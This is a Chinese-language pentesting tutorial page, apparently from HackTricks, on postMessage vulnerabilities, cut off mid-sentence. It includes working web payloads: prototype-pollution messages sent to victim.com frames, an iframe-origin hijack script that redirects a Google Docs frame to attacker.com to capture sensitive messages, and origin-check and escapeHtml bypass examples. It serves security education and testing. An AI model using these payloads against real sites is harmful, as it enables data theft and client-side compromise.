hacktricks/pentesting-web/postmessage-vulnerabilities/README.md

12 KiB
Raw Blame History

PostMessage漏洞

PostMessage漏洞

从零开始学习AWS黑客技术成为专家 htARTEHackTricks AWS红队专家

支持HackTricks的其他方式

发送PostMessage

PostMessage使用以下函数发送消息:

targetWindow.postMessage(message, targetOrigin, [transfer]);

# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">

# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')

# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')

请注意,targetOrigin 可以是 '*' 或 URL例如 https://company.com.
第二种情况中,消息只能发送到该域(即使窗口对象的来源不同)。
如果使用通配符消息可以发送到任何域,并将发送到窗口对象的来源。

攻击 iframe 和 targetOrigin 中的通配符

正如此报告所解释的,如果您找到一个可以被iframed(没有 X-Frame-Header 保护)且通过postMessage发送敏感消息的页面,而且使用了通配符*),您可以修改 iframe来源并将敏感消息泄露到您控制的域。
请注意,如果页面可以被 iframed 但targetOrigin设置为 URL 而不是通配符,则此技巧将无效

<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s

//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>

addEventListener 漏洞利用

addEventListener 是 JS 使用的函数,用于声明期望接收 postMessages 的函数。
将使用类似以下代码的代码:

window.addEventListener("message", (event) => {
if (event.origin !== "http://example.org:8080")
return;

// ...
}, false);

枚举

为了在当前页面中找到事件监听器,您可以:

  • 在JS代码中搜索 window.addEventListener$(window).onJQuery版本
  • 在开发者工具控制台中执行:getEventListeners(window)
  • 转到浏览器的开发者工具中的 Elements --> Event Listeners
  • 使用浏览器扩展,如 https://github.com/benso-io/postahttps://github.com/fransr/postMessage-tracker。这些浏览器扩展将拦截所有消息并显示给您。

Origin检查绕过

  • event.isTrusted 属性被认为是安全的,因为它仅对由真实用户操作生成的事件返回 True。尽管如果实施正确,绕过可能具有挑战性,但其在安全检查中的重要性值得注意。

  • 在PostMessage事件中使用 indexOf() 进行来源验证可能会容易受到绕过。以下是说明此漏洞的示例:

("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")
  • String.prototype.search() 方法中的 search() 方法用于正则表达式,而不是字符串。传递除正则表达式以外的任何内容会导致隐式转换为正则表达式,使该方法可能不安全。这是因为在正则表达式中,点(.)充当通配符,允许使用特别设计的域绕过验证。例如:
"https://www.safedomain.com".search("www.s.fedomain.com")
  • search() 类似,match() 函数也处理正则表达式。如果正则表达式结构不正确,可能容易受到绕过攻击。

  • escapeHtml 函数旨在通过转义字符来对输入进行清理。但它不会创建新的转义对象,而是覆盖现有对象的属性。这种行为可能会被利用。特别是,如果可以操纵对象以使其受控属性不承认 hasOwnProperty,则 escapeHtml 将无法按预期执行。以下是示例:

  • 预期失败:

result = u({
message: "'\"<b>\\"
});
result.message // "&#39;&quot;&lt;b&gt;\"
  • 绕过转义:
result = u(new Error("'\"<b>\\"));
result.message; // "'"<b>\"

在此漏洞的背景下,File 对象由于其只读的 name 属性而容易受到利用。当在模板中使用此属性时,它不会被 escapeHtml 函数清理,从而导致潜在的安全风险。

  • JavaScript 中的 document.domain 属性可以由脚本设置为缩短域名,从而在同一父域内更轻松地执行同源策略。

e.origin == window.origin 绕过

在使用 %%%